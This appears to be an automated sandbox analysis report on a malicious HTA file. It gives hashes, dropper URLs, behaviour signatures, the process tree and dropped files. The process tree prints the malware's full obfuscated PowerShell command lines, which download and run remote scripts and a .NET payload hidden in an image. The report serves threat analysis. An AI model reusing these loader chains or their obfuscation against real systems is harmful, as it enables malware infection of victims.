Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    10-12-2024 05:02

General

  • Target

    matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta

  • Size

    193KB

  • MD5

    012b83177846ce35f8ae1f6b304ff9c6

  • SHA1

    ae49e4e85d2fe80a83d0aa6420c72246e8b5e17e

  • SHA256

    264fc1a50a0f37a599e8cb50572d99a78c493da4837930a480253e04a5963fa9

  • SHA512

    d48bdf9a62e410254cf3074d7215f922e98d6d1ee0c936fff9c3720a000bdc571758e19a5338b7ad76f70b851aac641a7eaba09b92782d5e57e4921e368d2978

  • SSDEEP

    96:4owZw9d6yfaqcQ6PHO/3g9a8GPcQ6PHQ0/3g9a8GBGl/Qcj/WqgO7fpR1MK95tio:4LwzQcHgODpqPvQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c poWerSHell.eXE -Ex bypasS -NOP -w 1 -c DevIcECreDenTiALDepLOyment ; inVoKE-eXPRESsion($(INvOkE-expReSSIOn('[SYsTEM.TeXt.EncoDINg]'+[CHaR]0x3a+[cHar]58+'utf8.geTStRINg([SYsTEm.CONverT]'+[chAr]58+[cHaR]58+'FRoMBASE64strinG('+[char]0X22+'JGNGT0hOanFQbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZVJkZUZJTmlUaU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWFGUUh5ZyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVHh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsTU0sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTW52bEhRb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtmYmV1bVIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdOdyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMVXRKQlYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY0ZPSE5qcVBsOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xNDIuNjAvNDY2L2tpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlc3Rmb3JtZS50SUYiLCIkRU52OkFQUERBVEFca2lkc25pY2Vmb3JtZXRvZ2V0YmFja2dyZWF0dGhpbmdzd2l0aG5ldGllcnRpbWVnaXZlbm1lYmVzLnZiUyIsMCwwKTtTdEFSdC1zTGVFcCgzKTtJblZvS0UtRXhQUkVTc2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGtpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlcy52YlMi'+[CHaR]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        poWerSHell.eXE -Ex bypasS -NOP -w 1 -c DevIcECreDenTiALDepLOyment ; inVoKE-eXPRESsion($(INvOkE-expReSSIOn('[SYsTEM.TeXt.EncoDINg]'+[CHaR]0x3a+[cHar]58+'utf8.geTStRINg([SYsTEm.CONverT]'+[chAr]58+[cHaR]58+'FRoMBASE64strinG('+[char]0X22+'JGNGT0hOanFQbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZVJkZUZJTmlUaU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWFGUUh5ZyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVHh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsTU0sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTW52bEhRb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtmYmV1bVIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdOdyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMVXRKQlYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY0ZPSE5qcVBsOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xNDIuNjAvNDY2L2tpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlc3Rmb3JtZS50SUYiLCIkRU52OkFQUERBVEFca2lkc25pY2Vmb3JtZXRvZ2V0YmFja2dyZWF0dGhpbmdzd2l0aG5ldGllcnRpbWVnaXZlbm1lYmVzLnZiUyIsMCwwKTtTdEFSdC1zTGVFcCgzKTtJblZvS0UtRXhQUkVTc2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGtpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlcy52YlMi'+[CHaR]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2436
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4psdheun.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE5CE.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE5CD.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2916
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\kidsniceformetogetbackgreatthingswithnetiertimegivenmebes.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • System Time Discovery
          • Suspicious use of WriteProcessMemory
          PID:2672
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $portioned = 'JHByZW9idGFpbnMgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskbGFsbHlnYWdnaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskdGF1bnRpbmdseSA9ICRsYWxseWdhZ2dpbmcuRG93bmxvYWREYXRhKCRwcmVvYnRhaW5zKTskbm9udmlyZ2lucyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0YXVudGluZ2x5KTskbmV3c21lbiA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskc3Bpcml0dWFsaXN0aWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRhc2Fmb2V0aWRhcyA9ICRub252aXJnaW5zLkluZGV4T2YoJG5ld3NtZW4pOyRzbm9vemUgPSAkbm9udmlyZ2lucy5JbmRleE9mKCRzcGlyaXR1YWxpc3RpYyk7JGFzYWZvZXRpZGFzIC1nZSAwIC1hbmQgJHNub296ZSAtZ3QgJGFzYWZvZXRpZGFzOyRhc2Fmb2V0aWRhcyArPSAkbmV3c21lbi5MZW5ndGg7JG95ZXMgPSAkc25vb3plIC0gJGFzYWZvZXRpZGFzOyRzdGlsbGluZyA9ICRub252aXJnaW5zLlN1YnN0cmluZygkYXNhZm9ldGlkYXMsICRveWVzKTskaG9sbG93bmVzc2VzID0gLWpvaW4gKCRzdGlsbGluZy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkc3RpbGxpbmcuTGVuZ3RoKV07JGNvbGVzbGF3cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvbGxvd25lc3Nlcyk7JG1hbmFnZW1lbnRzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkY29sZXNsYXdzKTskamV3ZmlzaCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRqZXdmaXNoLkludm9rZSgkbnVsbCwgQCgnMC9uQ3gzMC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGZvcmViZWFyJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCAnQ2FzUG9sJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCcxJywnJGZvcmViZWFyJykpOw==';$reprovals = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($portioned));Invoke-Expression $reprovals
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2556

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\4psdheun.dll

    Filesize

    3KB

    MD5

    79ce1e43b3e0ad7d061a89f3d1ed1cc1

    SHA1

    4bcd17879d50f18e41992f74d4694f8b4dfb6983

    SHA256

    e7d35caaf78f3d8d87265a9f8d0e335e56d38470ef41448cc6c94296f2564242

    SHA512

    d9c6615816261fa3c2309964ab5bb13dadc21b48f8ed8db426802826e8f5f5df8b3e5361bac18b40f1f1a9468ee7387f4606c6e882bf3966dd41e9eaee691e7e

  • C:\Users\Admin\AppData\Local\Temp\4psdheun.pdb

    Filesize

    7KB

    MD5

    53a4245c6e261579796f9a5268a4eb5b

    SHA1

    a65a41cec647c419b1a1bfda07196ce36561ad81

    SHA256

    4508dd5c12d7770f71fc8ef442cc0b6bdf05a4aaf98694c5df23d4070fb516c2

    SHA512

    7037a32ba33f037cdaeab9978d139f3904b15fb01f1cf8d1079b7f52c0d99a01165d2fb77ac5178da549a626bcccb261bce2466a102ada96dd1536b3447f9937

  • C:\Users\Admin\AppData\Local\Temp\Cab1A8.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESE5CE.tmp

    Filesize

    1KB

    MD5

    6dc0bac1fef86d6bb2a07135900bc918

    SHA1

    3bfcfd844d7e1ffc2df26dcebfc6fe5925d48cab

    SHA256

    71c9da128a67b9eaa3857ea783bce4635c45c528210a617572ee6e43b33ef8f5

    SHA512

    7af08eaaf128aeb2c98e42f41979bc44c186ae9815e80317e7201b4828f5eb15562ebaf82295fecd0348480d0baeb03e708227bc64f406322a2b07d1f6e401c2

  • C:\Users\Admin\AppData\Local\Temp\Tar1CA.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IRDR4HWT1ZK9L76LWSAB.temp

    Filesize

    7KB

    MD5

    9761338a5108942095b2851d405a6a96

    SHA1

    ff1bc69903ac73aa1353da013115be5f25e2bbac

    SHA256

    0a8191d952fa5db21d4f7b3119a38412c9dfd64e85520055f2c240a27b2b834b

    SHA512

    5fc2725ffc62861e4833e135061ec928b2b8369f0d4234910cba3f757ed8bcf6cd4e7d2a4b1900413991becbefd25457e3d708adea85f91e659cf2e644089327

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    c93f1542f7b2b5f743c53b1bc20e3e12

    SHA1

    a556ed95080bd20e17db5117fef7d280a52643a1

    SHA256

    8ffba72c274ef862a7491c0cef5196cd048460f874421a7b1070efcc47bd0817

    SHA512

    e50ff963bc130124ebd80e311163030a160c6982ec07fe404541e3841a53f48cfaeba6692d10817a16525ac570e63ebbb915594b0ef0581c096f53c3fc3a399d

  • C:\Users\Admin\AppData\Roaming\kidsniceformetogetbackgreatthingswithnetiertimegivenmebes.vbS

    Filesize

    150KB

    MD5

    5ce00a79a9f41d260446bfdcc6267adf

    SHA1

    0b2b90beb56c59916b98004b1444698538729822

    SHA256

    efab5d21ed82f610bc5f1734b909a7e5c3a6c2ecebb276dd03b4d5baf8e9b058

    SHA512

    d4de7fe61f23ce7524ed3123319ac93f33ae1806bd426045ca9df1fa9ee82cca58aa314711bbde6a6ffa2eee98dc20cc5e4d80d2ec7abb028be0639944714fee

  • \??\c:\Users\Admin\AppData\Local\Temp\4psdheun.0.cs

    Filesize

    482B

    MD5

    8c16810a9a149ee7b288951c6afdfcd1

    SHA1

    4322374e8321e8a97ab6af0b6a23bb3f016c9713

    SHA256

    95c610a9e86321d9dea63594d0d9c9cb72c5dc56edf8f78f25736a76cac0d949

    SHA512

    0e37863619591fdd2cde0ae8ead71ef856695e299e9bb76266f1b40588d3f7e26521f7cb0bedcfa2a0809224dc02b076d4a07a1d247b23adb30e79ca5f626564

  • \??\c:\Users\Admin\AppData\Local\Temp\4psdheun.cmdline

    Filesize

    309B

    MD5

    cf2b7b96bc92e68e1ef92dd26d18919e

    SHA1

    ff2e23d20a802549ae8933c387ae1c56fb6b75c7

    SHA256

    9ca75e965e71364d7254b9021186f524b771f6c928c08d24038ade1e2a571e9d

    SHA512

    a9a74309d779e85cd0ca9dffed5073a8fb1e880ee71307f15c7624d224b1879a7936310250fc3e303a8bfbcc58e51ff9f779c9d348574f4a4f6e3474e60148ff

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCE5CD.tmp

    Filesize

    652B

    MD5

    89f3a012a2953c6768d6f960e75e938d

    SHA1

    4088cc0291d47aaef66518bc2a30ddba2ae26705

    SHA256

    aeb92905e2eab4a5ede04fcb4318bd194d89f45ae6c0678e391a0e68bfcb253b

    SHA512

    6738f13b9d68a7fb290af991ca71c33c1ecc2348ef431108d639d399ee4016c2dd84da16dfc68062fa04176bdd7ea4ddfb8db30777abb2d2f88b5899073b9436